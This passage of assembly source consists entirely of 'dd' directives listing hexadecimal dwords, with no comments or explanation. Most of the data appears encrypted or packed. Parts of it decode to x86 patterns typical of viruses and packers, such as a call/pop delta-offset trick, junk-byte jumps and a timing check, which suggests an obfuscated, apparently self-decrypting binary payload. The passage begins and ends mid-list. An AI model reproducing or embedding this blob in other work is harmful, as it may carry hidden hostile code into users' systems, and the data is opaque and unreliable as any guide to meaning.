0C019E4C3h, 6088DAEAh, 3ACF6E45h dd 8ADCA009h, 82E0200Bh, 0AD092061h, 93C12067h, 0AE6E805Ch dd 0FA094AB1h, 54092389h, 0E9530061h, 315DA93Bh, 0AE4DA165h dd 45093465h, 615B6261h, 0D88CA957h, 0C20F70D6h, 57E17361h dd 0A092061h, 9C52E33Ah, 0B0D043Dh, 530D0425h, 0E1092061h dd 3F1FE332h, 0AD9CA99Fh, 0DF0F6D4Ch, 28C52599h, 90802061h dd 8C5997ECh, 0CC11E0E2h, 0F2BEB1E4h, 0E8C91367h, 0A809228Dh dd 54638A92h, 2A0AC830h, 4C292061h, 0C68079A2h, 1882445h dd 0A21E2445h, 482061h, 280C14A2h, 5B4AB81h, 0AA0F6D6Dh dd 808273A8h, 8C442AC4h, 63ECA5A7h, 0C84A262Ch, 52E17661h dd 88092061h, 0DD57E33Fh, 0AB0D0415h, 0F0D0425h, 0CC092061h dd 7EFFE337h, 0F461CC0Ah, 95B34680h, 9272483Dh, 0E6698E64h dd 1E884197h, 77580545h, 8A03C953h, 76672061h, 0CDF5E20Eh dd 0D1622F74h, 0A320959Eh, 0E138262Ch, 2C442314h, 60DEA5ECh dd 1F802631h, 4344100Ch, 0A834B550h, 81F6262Ch, 21DB9F6Eh dd 190559E4h, 83BCA967h, 980F6D4Dh, 0C72119E4h, 94A967h dd 2B0F6D6Bh, 1C1869E4h, 0F8094A67h, 54092389h, 0E9510061h dd 314DA939h, 0AE4DA165h, 45093965h, 61596061h, 0DE201FC4h dd 2DCF620Dh, 52440684h, 0B79CAB32h, 7D0F6D6Ah, 7A5AA2F4h dd 450FC937h, 0C2BD2061h, 98F091ACh, 8C3DA13Fh, 58EBEA2Ch dd 19CB5EAh, 9802262Ch, 8C440D1Ch, 4E20959Eh, 2784262Ch dd 575955B6h, 83BCADEAh, 3259262Ch, 0D553D3EAh, 47094AB1h dd 8A092389h, 86530061h, 865DA93Bh, 754DA165h, 0A8093C65h dd 975B6261h, 34DC42BAh, 6900E983h, 508846CCh, 0F8007555h dd 0A4440D84h, 51092C88h, 65503B61h, 0FFB88F71h, 0EF9B1D7Ah dd 48CA989h, 4C0F6D64h, 82FC5E4h, 0A2637367h, 510AC833h dd 0F2292061h, 807AA2h, 6E882445h, 151F2445h, 0D84B2061h dd 2B0451A2h, 226ECEE0h, 0B6615C21h, 0C883283Dh, 0DF6F7231h dd 0C2382FA0h, 15092073h, 0F0562C26h, 753EABA9h, 72AE6EA4h dd 0E5760BB2h, 0F2532F07h, 60884139h, 3A917445h, 42094A33h dd 8A092389h, 86560061h, 8675A93Eh, 754DA165h, 0A8093665h dd 975E6761h, 0A107A25Fh, 580E35DCh, 0A3BCDF67h, 2F0F6D6Ah dd 0A1E17761h, 71092061h, 2156E33Eh, 0D50D041Dh, 300D0425h dd 52092061h, 95EBE336h, 0B1F0F279h, 1EE3A0C2h, 51092D88h dd 9E1D6561h, 72E3AE58h, 3BF78B6Fh, 9084FDE7h, 8C5955B6h dd 0AD5B200Bh, 0A2092062h, 0BCA7A41h, 0AC2D74E8h, 502D64E0h dd 2A092077h, 67CA7223h, 3782EA67h, 43442EA4h, 0A263F09Eh dd 510AC837h, 0F6292061h, 20807EA2h, 6E882445h, 151D2445h dd 0DC4F2061h, 0B48276A2h, 0A2093389h, 0ACB36561h, 0C622B487h dd 0BC6FE7D8h, 8AD103B2h, 0A9C105C9h, 8A092889h, 0FCEC7961h dd 10AEB02Dh, 5DF19ACBh, 0F7562148h, 7990A5E8h, 3EE1262Ch dd 89092061h, 0FBB0802Eh, 33258B45h, 0C645CDE8h, 18E6899Dh dd 0A75B13E2h, 540922EDh, 74567161h, 33ECA5A7h, 0E04E262Ch dd 46E17261h, 82092061h, 0D853E33Bh, 290D0435h, 4E0D0425h dd 68092061h, 0C350E333h, 0E361B556h, 889C0B2Bh, 0CA0F6D4Ah dd 0C4C3AB4Dh, 7C909E07h, 292D24E0h, 402B3433h, 16E17061h dd 0AA092061h, 0CC51E339h, 230D0425h, 490D0425h, 0E8092061h dd 0AD2EE331h, 0DFF42FD6h, 1E20959Eh, 8A63262Ch, 450AC830h dd 0FB292061h, 1D8079A2h, 0EC882445h, 54122445h, 7B482061h dd 0CEB02AA2h, 84082CB0h, 58BCA92Dh, 220F6D71h, 0D484D6AFh dd 0AE5955B6h, 4BB4A5E8h, 0FAF6262Ch, 15093388h, 59634261h dd 933EA144h, 6B81B934h, 933C6496h, 5D692C9Bh, 4780A5E8h dd 2A63262Ch, 150AC832h, 0D1292061h, 19807BA2h, 0E6882445h dd 511C2445h, 0FB4A2061h, 0BDFC80A2h, 2A092068h, 947B8D26h dd 5B1B0627h, 0A08CE604h, 0E50F6D47h, 7B7D9A07h, 0A8092489h dd 88195A61h, 2A19C8E0h, 69732061h, 53B88DD5h, 9CD9CDA4h dd 3B6B97B7h, 1566BDEh, 87F69A07h, 502D64EAh, 2A10A86Eh dd 18E12061h, 0F5092061h, 47A019CAh, 1A35D750h, 2DE636E6h dd 99067231h, 0DF57783Bh, 7A5B7061h, 1518C933h, 6C362061h dd 6A219CA7h, 27506A9h, 7A5544CDh, 0A7D699F7h, 5401C950h dd 0C1562061h, 50F5827h, 0D253700Fh, 57E1116Eh, 1A092061h dd 0BAF834BFh, 2004F21h, 76229841h, 1CBC3EBFh, 158F2F59h dd 0D5092061h, 180783Bh, 1D6F2445h, 0D8510E9Bh, 0E51649F4h dd 7DBCDF67h, 400F6D6Ah, 16E17761h, 0AA092061h, 0CC56E33Eh dd 230D041Dh, 480D0425h, 0EF092061h, 0FD47E336h, 1FF954F8h dd 9496E9E0h, 0F845571h, 435955B6h, 0D2A59A07h, 0D06FF09Eh dd 11A6F5ABh, 912F28Eh, 5B0A5E8h, 1563262Ch, 8A0AC837h dd 1B292061h, 0D6807EA2h, 15882445h, 0A8102445h, 24F2061h dd 0A1049CA2h, 0FDBAE3DBh, 8A092067h, 41FF4303h, 7C884682h dd 65C1E598h, 9D9CA93Eh, 920F6D7Dh, 672FC5E4h, 15636767h dd 8A0AC837h, 1B292061h, 0D6807EA2h, 15882445h, 0A8102445h dd 24F2061h, 634095A2h, 9487C234h, 8A4EF2BBh, 0EAD64834h dd 5582FF59h, 0D32D14E0h, 0A17CD5F2h, 193969F4h, 3BCDF67h dd 730F6D6Ah, 76B6DD8h, 157CF7E4h, 0F5094A67h, 51092389h dd 6B560061h, 7075A93Eh, 0E4DA165h, 15093A65h, 495E6761h dd 6EDAF0C6h, 4B6F941Eh, 51092075h, 0F83BB340h, 2F838EA4h dd 817042B6h, 420F2902h, 93039D58h, 4563F09Eh, 0A20AC833h dd 0B292061h, 0FC807AA2h, 10882445h, 2A152445h, 474B2061h dd 7ED276A2h, 297B6674h, 4C887B56h, 6E181EECh, 0B33C95E8h dd 0D180262Ch, 2C441040h, 0FD5B200Bh, 8A092062h, 1FCA7A41h dd 0A62D74E8h, 552D64E0h dd 0A809207Ah, 0FDCA7223h, 8EFE8955h, 0A77596B1h, 73D9DF43h dd 4220BDE8h, 2780262Ch, 57441284h, 405B200Bh, 54092062h dd 70CA7A41h, 112D74E8h, 8E2D64E0h, 4509207Ah, 84CA7223h dd 86949B10h, 0A72EB525h, 540923EBh, 0FD824661h, 7FD1AC07h dd 89E17561h, 65092061h, 2B54E33Ch, 0D00D040Dh, 0B20D0425h dd 11092061h, 0BD1E334h, 5828F177h, 478C1156h, 610F6D6Bh dd 0F4094A65h, 51092389h, 6B570061h, 707DA93Fh, 0E4DA165h dd 15093D65h, 495F6661h, 612052E4h, 0B4A96682h, 58E08863h dd 0F5092061h, 686305F3h, 0CDE0FDCh, 9106E06Bh, 8A0923B8h dd 63ECA5A7h, 0C846262Ch, 52E17261h, 88092061h, 0DD53E33Bh dd 0AB0D0435h, 0F0D0425h, 0C8092061h, 7425E333h, 23AC6998h dd 39D8AAD6h, 0F0BA9791h, 5088DBEAh, 0E6BDF445h, 43094A07h dd 8A092389h, 86570061h, 867DA93Fh, 754DA165h, 0A8093765h dd 975F6661h, 0AF7C667Fh, 0AB81DD3h, 8120959Eh, 4563262Ch dd 0A20AC832h, 0A292061h, 0F4807BA2h, 10882445h, 2A152445h dd 464A2061h, 0ADD9BBA2h, 285D5924h, 2784B719h, 575955B6h dd 0F9E1CEE0h, 84F632D5h, 0C25C200Bh, 15092062h, 0D7CA7D41h dd 412D4CE8h, 0A62D64E0h, 5109207Ah, 4ACA7524h, 5D152A9Fh dd 0A9B1C6A8h, 982A04A1h, 8C442534h, 4BB8A5E8h, 2782262Ch dd 57441284h, 4059200Bh, 54092062h, 72CA7841h, 112D64E8h dd 8E2D64E0h, 4509207Dh, 1CA7021h, 0F803CD66h, 7CD8739Ch dd 793495EAh, 0B782262Ch, 13441040h, 6259200Bh, 45092062h dd 0FACA7841h, 552D64E8h, 0AC2D64E0h, 5409207Bh, 8CA7021h dd 0CF3798FCh, 0C9F532EDh, 0AD5A200Bh, 0A2092062h, 0ACA7B41h dd 0AC2D7CE8h, 502D64E0h, 2A09207Ch, 5CA7322h, 56FD3492h dd 0F6F6C9E4h, 3DFEA11Dh, 0DA6AC920h, 0A80EC87Ah, 9DCE2061h dd 31D67585h, 151AC950h, 40E2061h, 90266B89h, 0AC258358h dd 0C26280F0h, 0AE4EC7DDh, 4F827914h, 0A1F1AB07h, 0AF6F767Ah dd 0B9506043h, 17094AB9h, 0A2092389h, 92530061h, 8C5DA93Bh dd 704DA165h, 2A093465h, 0D65B6261h, 3FEAB85h, 80F19FCh dd 0F3094A67h, 51092389h, 6B500061h, 7045A938h, 0E4DA165h dd 15093A65h, 49586161h, 81DF34C4h, 0AD64C1F5h, 510930E5h dd 0A802C961h, 6A9E2061h, 0AB6A85Eh, 43964926h, 6F8CE63Fh dd 20F6D47h, 4A5B200Bh, 51092062h, 0F2CA7A41h, 502D74E8h dd 2E2D64E0h, 1509207Ch, 7ECA7223h, 9A853DD8h, 9A7456A9h dd 8E8846CDh, 0BCE10422h, 7A092061h, 389625BCh, 59B3651h dd 9ECBB7FBh, 39D68064h, 2907564Ah, 1C2EB1F4h, 83617F67h dd 5F66CF1h, 0AA2C9E07h, 313DA13Bh, 0C29B6DE3h, 0AD58200Bh dd 0A2092062h, 8CA7941h, 0AC2D6CE8h, 502D64E0h, 2A09207Bh dd 75CA7120h, 8B63A60h, 6EF57624h, 0EF1DF1ECh, 78BCDF67h dd 0C20F6D6Ah, 57E17361h, 0A092061h, 9C52E33Ah, 0B0D043Dh dd 590D0425h, 0E1092061h, 7BC9E332h, 67E05533h, 5B7E63A4h dd 2A0926EAh, 158B2F61h, 7092061h, 157CF7E4h, 7394A967h dd 5E0F6D46h, 0A80926EAh, 0E99CA961h, 0D50F6D7Bh, 3CB346B1h dd 38CA9F6h, 2F0F6D72h, 0A1E17061h, 71092061h, 2151E339h dd 0D50D0425h, 330D0425h, 55092061h, 0F956E331h, 76F13706h dd 0A75CB5E8h, 9888262Ch, 8235BE7Fh, 1094A21h, 2A092389h dd 0D6540061h, 0AE65A93Ch, 614DA165h, 0A2093D65h, 925C6561h dd 7CB10392h, 0E30F494Dh, 0BF0227F3h, 13442584h, 8A092888h dd 0ACF561h, 0EEC0DF9Eh, 688CA961h, 230F6D6Fh, 7094A61h dd 2A092389h, 0D6520061h, 0AE55A93Ah, 614DA165h, 0A2093B65h dd 925A6361h, 1EA7595Eh, 0B4550B93h, 25C09550h, 1582262Ch dd 6259200Bh, 45092062h, 0FACA7841h, 552D64E8h, 0AC2D64E0h dd 5409207Ch, 5BCA7021h, 651BFFB7h, 378086D0h, 78E49A3Bh dd 2F824240h, 57442F1Ch, 0A268B568h, 0D180262Ch, 2C441148h dd 0FD59200Bh, 8A092062h, 1DCA7841h, 0A62D64E8h, 552D64E0h dd 0A8092076h, 0ADCA7021h, 0A1E22A76h, 5823FDD4h, 8B26C967h dd 57E02061h, 6A092061h, 92926B75h, 79ED35C3h, 7A1AEA6h dd 7F1DB2B3h, 0BA8CAD6Eh, 850F70D6h, 0AC59EFDEh, 0A209206Fh dd 0F5F0821Eh, 0EF821803h, 0EDD1ECBh, 2E806ACAh, 47094A45h dd 8A092389h, 86530061h, 865DA93Bh, 754DA165h, 0A8093865h dd 975B6261h, 4510848Fh, 889CDFA9h, 10F6D4Bh, 805DDECh dd 1794AD67h, 620F70D6h, 0E52A95ECh, 48807067h, 7A094A45h dd 15092389h, 49510061h, 614DA939h, 864DA165h, 51093865h dd 6B596061h, 0E9B32517h, 21E170ACh, 0C8092061h, 2D692E4Ch dd 0C2A61623h, 24061B06h, 51092063h, 21537F37h, 54630465h dd 2A0AC830h, 4C292061h, 0C68079A2h, 1882445h, 0A2152445h dd 482061h, 482B6DA2h, 0E6EFD31Bh, 2DB72DB2h, 0EA3EAB27h dd 0C719EDF4h, 12094A67h, 0A2092389h, 92560061h, 8C75A93Eh dd 704DA165h, 2A093465h, 0D65E6761h, 8A04C93Dh, 0BBD02061h dd 0AFB90D56h, 2FFA5256h, 21797CBAh, 190791E4h, 7D094A67h dd 15092389h, 49560061h, 6175A93Eh, 864DA165h, 51093465h dd 6B5E6761h, 0B18CE63Ch, 790F6D47h, 0FD5F200Bh, 8A092062h dd 1BCA7E41h, 0A62D54E8h, 552D64E0h, 0A809207Dh, 82CA7627h dd 0C245B183h, 0DF729FE8h, 81509DE8h, 8561262Ch, 0F23E173Eh dd 5F099A07h, 8C0DA13Bh, 275904DEh, 2F989DEAh, 0A0F6262Ch dd 8C442B48h, 0AD5A200Bh, 0A2092062h, 0ACA7B41h, 0AC2D7CE8h dd 502D64E0h, 2A09207Ch, 55CA7322h, 41BA596h, 0C3EF5FACh dd 0A0892F75h, 0DA092061h, 7F8CADABh, 3E0F7014h, 29E17661h dd 35092061h, 357E33Fh, 0C40D0415h, 0B50D0425h, 17092061h dd 0C6DEE337h, 0D006B3CCh, 2A092067h, 251895EAh, 782262Ch dd 43440A2Ch, 0B7949DEAh, 81F6262Ch, 2D80CBEBh, 52440450h dd 0CECA5A7h, 7F4E262Ch, 89E17161h, 65092061h, 2B50E338h dd 0D00D042Dh, 0BF0D0425h, 15092061h, 956BE330h, 11E19CFBh dd 1A092061h, 23A85274h, 0F29E8AD8h, 60067231h, 0F053EFEAh dd 502D64EAh, 6E8020EAh, 0AD692445h, 9B831448h, 450FA36Eh dd 0F0592061h, 953116Eh, 72897800h, 7DBCDF22h, 4C0F6D6Ah dd 7A48CFE0h, 0FFDEA5ECh, 45632631h, 0A20AC834h, 0C292061h dd 0C4807DA2h, 10882445h, 2A1F2445h, 404C2061h, 15C040A2h dd 4563F09Eh, 0A20AC836h, 0E292061h, 0D4807FA2h, 10882445h dd 2A1F2445h, 424E2061h, 98C1EBA2h, 749AFEE0h, 2F8058C2h dd 57442C70h, 21DAAB07h, 1939ADE4h, 4FBC0367h, 0D30F6D43h dd 0C72FC5E4h, 45637367h, 0A20AC834h, 0C292061h, 0C4807DA2h dd 10882445h, 2A152445h, 404C2061h, 332011A2h, 0BBAA2319h dd 236F64B8h, 399334B0h, 0FA1C5CD9h, 29FE9A07h, 0F22D24E0h dd 1E4E0383h, 0C702E9DCh, 6CBCDF67h, 0AB0F6D6Ah, 1C0FA1F4h dd 7F8CAD67h, 3E0F7014h, 29E17561h, 35092061h, 354E33Ch dd 0C40D040Dh, 0B90D0425h, 14092061h, 0B81E334h, 104BFD0Ch dd 0FAF66CF7h, 0FD5B200Bh, 8A092062h, 1FCA7A41h, 0A62D74E8h dd 552D64E0h, 0A8092076h, 5ECA7223h, 0A367D7C2h, 580FA5F4h dd 0FB84AB67h, 0CC0F6D47h, 0EF2775E4h, 0BF884667h, 2DCF2582h dd 52440684h, 42F1D836h, 57A16004h, 85479930h, 0C4573F6Ah dd 0B3A80465h, 51636D3Dh dd 0A80AC830h, 0D292061h, 668079A2h, 51882445h, 8A112445h dd 14482061h, 93B505A2h, 0D406F108h, 0A8092067h, 0F4FAF6E0h dd 97820FB4h, 13443C2Ch, 8120959Eh, 4563262Ch, 0A20AC833h dd 0B292061h, 0FC807AA2h, 10882445h, 2A102445h, 474B2061h dd 207A14A2h, 743AE813h, 0EF1D1DE4h, 52892F67h, 0A7092061h dd 0D184DFD6h, 2C5955B6h, 0FD5F200Bh, 8A092062h, 1BCA7E41h dd 0A62D54E8h, 552D64E0h, 0A8092074h, 0E3CA7627h, 0D482463Eh dd 1563F09Eh, 8A0AC836h, 1A292061h, 0DE807FA2h, 15882445h dd 0A8142445h, 34E2061h, 0CF0F17A2h, 155CD771h, 1CF0320h dd 82749ECh, 0B38CA967h, 0D80F6D65h, 0E52F5DFCh, 0B18CE667h dd 690F6D47h, 1519A26Eh, 81E02061h, 0EE092061h, 0F200D47h dd 5D4748F5h, 2961DF75h, 4CF4373h, 2A1DC933h, 3F002061h dd 305F0330h, 55954281h, 2FAB2BC5h, 18383CB3h, 99062C8Ch dd 0C534BD3h, 832D14E0h, 7F73D303h, 89E17661h, 65092061h dd 2B57E33Fh, 0D00D0415h, 0BF0D0425h, 12092061h, 9F41E337h dd 80821351h, 8C4411F4h, 4E20959Eh, 1D06262Ch, 868CADAAh dd 0F80F7014h, 0A99E2E1h, 0AB6FF09Eh, 9CDE51B6h, 0C72FCDE4h dd 0B6B62F67h, 15ACA5ECh, 51632631h, 0A80AC830h, 0D292061h dd 668079A2h, 51882445h, 8A152445h, 14482061h, 0AAD423A2h dd 7A093FFBh, 0F859D6EBh, 5BF0AB33h, 0CEB34650h, 9C517A31h dd 16F0465h, 0D89CDF93h, 5B0F6D4Bh, 0CECBE6E0h, 7082767Ah dd 0BC58200Bh, 2A092062h, 4CCA7941h, 8E2D6CE8h, 412D64E0h dd 0A2092079h, 84CA7120h, 671F8705h, 5288BD60h, 0AF84262Ch dd 135997F8h, 1AC3976Eh, 55E07736h, 0D9092061h, 414CCC97h dd 0A36F18F6h, 0EBA00C75h, 75E39E3Ah, 20B6703Fh, 1A03944Ch dd 0AD5B200Bh, 0A2092062h, 0BCA7A41h, 0AC2D74E8h, 502D64E0h dd 2A09207Ch, 0B1CA7223h, 0C61B437Fh, 28D78342h, 6D82B34Bh dd 0E9694031h, 0AE84D624h, 6B28AFDEh, 0A16F4111h, 7F9A41BBh dd 89E17361h, 65092061h, 2B52E33Ah, 0D00D043Dh, 0B30D0425h dd 17092061h, 0A5C8E332h, 0F2722F5h, 98E0EAF7h, 86092061h dd 1F89783Dh, 0C3E8D3AAh, 8D3B46E0h, 4AE8E7ABh, 0E79CDF37h dd 7F0F6D71h, 89E17261h, 65092061h, 2B53E33Bh, 0D00D0435h dd 0BD0D0425h, 16092061h, 9A11E333h, 9080E8EBh, 8C44304Ch dd 0A48CE79Dh, 0AD0F6D48h, 3B092061h, 0ABE17561h, 74092061h dd 0A354E33Ch, 940D040Dh, 930D0425h, 92061h, 46B7E334h dd 1F8F90A1h, 9944BD48h, 0C1F6262Ch, 2C44304Ch, 0D74B5EAh dd 1F08262Ch, 43440750h, 820CA5E8h, 0AABF262Ch, 0A470A5EAh dd 0C984262Ch, 2C59EB41h, 980863E8h, 0C72119DCh, 0BFBCAD67h dd 1B0F70ABh, 51092052h, 9BE28492h, 540920D9h, 5EC92B61h dd 1511E262h, 862D64EAh, 4509C832h, 23522061h, 510937A2h dd 8C55A961h, 704DA971h, 1DB17B75h, 0EA0980C1h, 0AE4DAB81h dd 2FE9DF65h, 0A1E17761h, 71092061h, 2156E33Eh, 0D50D041Dh dd 370D0425h, 52092061h, 0F697E336h, 0A67C4C19h, 0E150D9C0h dd 5E3CADEAh, 0C268262Ch, 57E17261h, 0A092061h, 9C53E33Bh dd 0B0D0435h, 5C0D0425h, 0E0092061h, 40B5E333h, 1BE80275h dd 75A89DEAh, 9784262Ch, 135997F8h, 4195ADECh, 70B12631h dd 919106CAh, 1C27ADE4h, 1C60B67h, 7A508421h, 0A1010F6Dh dd 8915094Ah, 61A20923h, 39925100h, 658C4DA9h, 0E9834DA1h dd 8BA4F305h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0BEE6271Bh, 0B780124Fh, 87F6F681h dd 1EE91B5Ch, 0F000000h, 18Eh, 0F61F500h, 88Eh, 2830F00h dd 60000000h, 8F0FC361h, 1, 0E9C08BF5h, 11h, 4D1FFD3Dh dd 72580E55h, 0AECD379Eh, 6E7F85C2h, 0D9BD8345h, 64D1Bh dd 0BD830975h, 64D0011h, 50197400h, 0B8C08B53h, 4B9h, 31A58589h dd 9D8D064Dh, 64FB77Ch, 585BD3FFh, 11BD83h, 7400064Dh dd 0B8535017h, 4B9h, 31A58589h, 9D8D064Dh, 64FB41Dh, 585BD3FFh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 52C35646h dd 76914C68h, 14E964h, 0FDB0000h, 4EF2E51h, 0DA3F80CAh dd 0CD9C95D3h, 25C6D135h, 6A7B06h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 152F0BC3h, 0F19834Fh dd 68Eh, 0D08B6000h, 8B615850h, 8B40F9C0h, 39BD8BC1h, 8B064D2Ah dd 4D2ED5B5h, 4EB06h, 0F9000000h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 12C35747h, 0DC59D89h, 858D064Dh dd 64D0735h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0ACC35343h, 96191DB4h, 1AF5BD23h, 0BE90064Dh, 3D6B3A47h dd 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 8BA320C3h, 4D2325BDh, 89006A06h, 4D22498Dh dd 81006A06h, 285875D6h, 25858D4Dh, 6A0650CFh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0A904C350h, 81E81427h, 0E94FCE1Ch, 9, 0F851272h, 79A96E5Bh dd 998589E0h, 83064D26h, 0BD8B05C0h, 64D2921h, 0E9605090h dd 6, 9FDEC540h, 0EE8FDB5h, 63000000h, 0AE77BAD7h, 0BCB2D9A4h dd 639D6F14h, 11E9DBh, 0F9310000h, 0B781A549h, 0AFCF73A7h dd 0CA892D06h, 5E49DF13h, 6A9061h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 5BED1EC3h, 6A2334h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 36C35141h, 647C4AB6h dd 4D2F93ECh, 0BE965h, 58910000h, 48550F9Fh, 2418313Dh dd 6A006A20h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 4BC5C357h, 0D774168Ah, 0BFFEBE66h dd 114995FFh, 6A064Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 5C2AC2C3h, 0ADC68931h, 2385E9BBh dd 4D2B91BDh, 0FFB70F06h, 9A139D8Dh, 6A0650h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 25E818C3h dd 10EE7208h, 0EE846h, 0B7630000h, 0DBC43B49h, 0FD985EF2h dd 0A3C06D0Ch, 11E9h, 8CE5AA00h, 8ED0CC07h, 164AF0E3h dd 85473C34h, 0FF5FA822h, 53006AD3h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0FFE1549Dh dd 4D181585h, 0F5B58B06h, 0E9064D04h, 6F8h, 0E8h, 0ED815D00h dd 650CF2Fh, 11E8h, 6605AA00h, 1D80F83Eh, 45E2C20Dh, 0A33CB076h dd 0B58B0581h, 64D1EEDh, 0E1BD815Eh, 0D0064D29h, 0F000007h dd 0F186h, 358D8900h, 29064D04h, 4D2DA195h, 99D8B06h, 0E9064D03h dd 12h, 604D4099h, 0ECD80FECh, 607D6EA7h, 8E80F33Ch, 45BE49D3h dd 81114D46h, 100E3h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 9102624h, 4D1B8D8Dh, 0BF08B06h dd 4B850FDBh, 60000000h, 9D54BE66h, 0D5858960h, 66064D2Ah dd 6121C6B9h, 0E5BD8361h, 650CCh, 11840Fh, 0B5230000h dd 64D1B79h, 2EE9h, 0A99D8900h, 0C7064D1Fh dd 50CCE585h, 106h, 0F9BD8B00h, 0E9064D29h, 13h, 31659529h dd 85C7064Dh, 650CCE5h, 0 dd 8DF98B66h, 4D03099Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 0B7F46D58h, 0E36291A0h dd 0FEFF2381h, 8B0FFFFFh, 2, 8C66F78Bh, 53006ADBh, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 41FF4786h, 0F38B6920h, 0F04C3F6h, 9784h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 4FFE48Bh, 47F3B5Ah, 49850160h, 56064D03h, 2239B58Bh dd 615F064Dh, 102D95FFh, 0BE66064Dh, 820FA992h, 1, 666090F5h dd 0E91BE9BFh, 12h, 1B8D3591h, 0B0F8CE8Fh, 4B12306Eh, 5CBE75E9h dd 50613805h, 50F18B60h, 0BA39B952h, 310F5A8Ah, 585A6160h dd 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 850126C3h, 64D0DB5h, 3E2E9h, 71BD8B00h, 0B0064D21h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 5F9F683Bh, 55DA7197h, 0BF665275h, 70E6BA34h dd 10E860h, 79F50000h, 7B73B324h, 0A1A0A75Eh, 61527ED8h dd 0BF66FC71h, 0B598D4Dh, 4D130185h, 71E46106h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 72C35545h, 9DB58941h dd 0F064D14h, 6E9D8B6h, 0F0000000h, 447E72F8h, 6BA42h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 5A6CE7C3h, 16014453h, 89A7F5F1h, 4D1FC595h dd 6AC38B06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 256BC352h, 4E8C1E9h, 0F766F88Bh dd 6AD82BE2h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0D727C355h, 7E93AD6Eh, 0E8AFBB7Bh dd 10h, 1F91A7C5h, 22499CF1h, 0C8E10984h, 0D5E69C58h, 296DB58Bh dd 935E064Dh, 58B0Fh, 0B8BE0000h, 500B76A3h, 66525060h dd 310FF38Bh, 8A0Fh, 585A0000h, 860F57h, 5F000000h, 8D0F9361h dd 6, 0D6D8D29h, 8E9064Dh, 6E000000h, 93E90141h, 0FF73CD3Ah dd 4D29E1B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0EDA83839h, 0FF687135h, 4D051195h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 8DBD8BCCh, 0B0064D32h, 4850F00h, 66000000h dd 0BFFEA2BFh, 3A468E22h, 0BD3370E6h, 64D2901h, 0DE971E4h dd 84000000h, 0C421B6CFh, 0CEE992D9h, 0A121DD32h, 830F613Ch dd 1FBh, 0FFABF0Fh, 12E9D8B6h, 0D3000000h, 976D0DB6h, 56F4466Fh dd 37F50195h, 0CC73566Ah, 6BA7Ch, 0BF660000h, 0C38B5D35h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A4C35747h dd 637F70C0h, 1247837Dh, 4E8C148h, 0BE850h, 7D890000h dd 0AD724121h, 0EA49F4AFh, 665E5F47h, 6AE2F7h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0E8F011C3h, 0CE8h, 44E27B00h, 0A54AE936h, 3D291DC4h dd 6E968h, 5D5E0000h, 9A85AF64h, 89D82B5Eh, 4D0E6DB5h dd 0D6815806h, 73203341h, 880FD82Bh, 143h, 23BFFA8Bh, 0B9540BE3h dd 7, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch dd 39C35545h, 3837A3CAh, 34860686h, 0C183F38Bh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0ADAC3727h, 3B6FAC79h, 0E4860FD9h, 66000000h, 820FD98Ch dd 6, 2B21B58Bh, 0C1F6064Dh, 0C5840F04h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0C92C352h, 0CECC0538h, 0F9F2183Fh, 102D95FFh, 13E8064Dh dd 52000000h, 16AB2681h, 56E10FEBh, 3C05E8F8h, 0D40F3826h dd 890F4565h, 17h, 12E9h, 7F66A400h, 11C49959h, 7193AEECh dd 80959FFEh, 5E61D2D0h, 56006A5Bh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 74C00873h, 0CD6E37A9h dd 0DE8DFh, 31380000h, 6B355F8Dh, 7AE6AB16h, 0F53A6BB9h dd 81C32B5Eh, 0F62BDC7h, 8343D40h, 860F0000h, 18h, 18E95E51h dd 0E9000000h, 0Ch, 6E8093CFh, 0FE4F5AC0h, 97F83BEDh, 0CCBEC08Bh dd 8B3BCFCFh, 6AD88BC3h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 8377C357h, 85C7E581h dd 64D17D1h, 31768739h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 9FC35343h, 0C1C25299h, 0E851AD5Eh, 7 dd 8C395415h, 